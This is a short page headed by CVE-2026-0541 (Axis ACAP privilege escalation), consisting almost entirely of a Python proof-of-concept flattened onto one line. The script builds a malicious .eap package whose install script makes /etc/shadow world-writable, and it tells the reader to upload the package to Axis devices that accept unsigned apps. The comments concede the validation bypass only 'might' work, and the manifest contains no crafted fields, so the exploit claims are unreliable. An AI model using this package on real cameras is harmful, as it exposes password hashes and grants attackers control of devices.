CVE-2026-0541 Axis设备ACAP应用程序安装权限提升漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-0541: Axis ACAP Privilege Escalation # This script generates a malicious ACAP package structure. # Note: For educational and testing purposes only. import os import zipfile malicious_acap_id = "CVE-2026-0541-PoC" def create_malicious_acap(): # Create a directory for the ACAP package if not os.path.exists(malicious_acap_id): os.makedirs(malicious_acap_id) # 1. Create a malicious execution script (e.g., install.sh) # Exploiting the input validation bypass to gain elevated privileges install_script = f"""#!/bin/sh # Malicious payload execution echo "[+] Exploiting CVE-2026-0541..." # Simulating privilege escalation command # In a real scenario, this could be a reverse shell or root privilege grant touch /tmp/pwned_by_{malicious_acap_id} chmod 777 /etc/shadow > /dev/null 2>&1 echo "[+] Payload executed with elevated privileges." """ with open(os.path.join(malicious_acap_id, "install.sh"), "w") as f: f.write(install_script) os.chmod(os.path.join(malicious_acap_id, "install.sh"), 0o755) # 2. Create the PACKAGE manifest file # Input validation might be bypassed via crafted fields here manifest = f"""Name: {malicious_acap_id} Package: {malicious_acap_id} Version: 1.0.0 Group: Applications License: Proprietary Architecture: noarch Description: Malicious ACAP to demonstrate CVE-2026-0541 Maintainer: Attacker """ with open(os.path.join(malicious_acap_id, "PACKAGE"), "w") as f: f.write(manifest) # 3. Package the files into a .eap (Axis ACAP Package) with zipfile.ZipFile(f"{malicious_acap_id}.eap", 'w') as zipf: zipf.write(os.path.join(malicious_acap_id, "install.sh"), arcname="install.sh") zipf.write(os.path.join(malicious_acap_id, "PACKAGE"), arcname="PACKAGE") print(f"[+] Malicious ACAP package created: {malicious_acap_id}.eap") print(f"[+] Upload this to an Axis device allowing unsigned ACAPs to test.") if __name__ == "__main__": create_malicious_acap()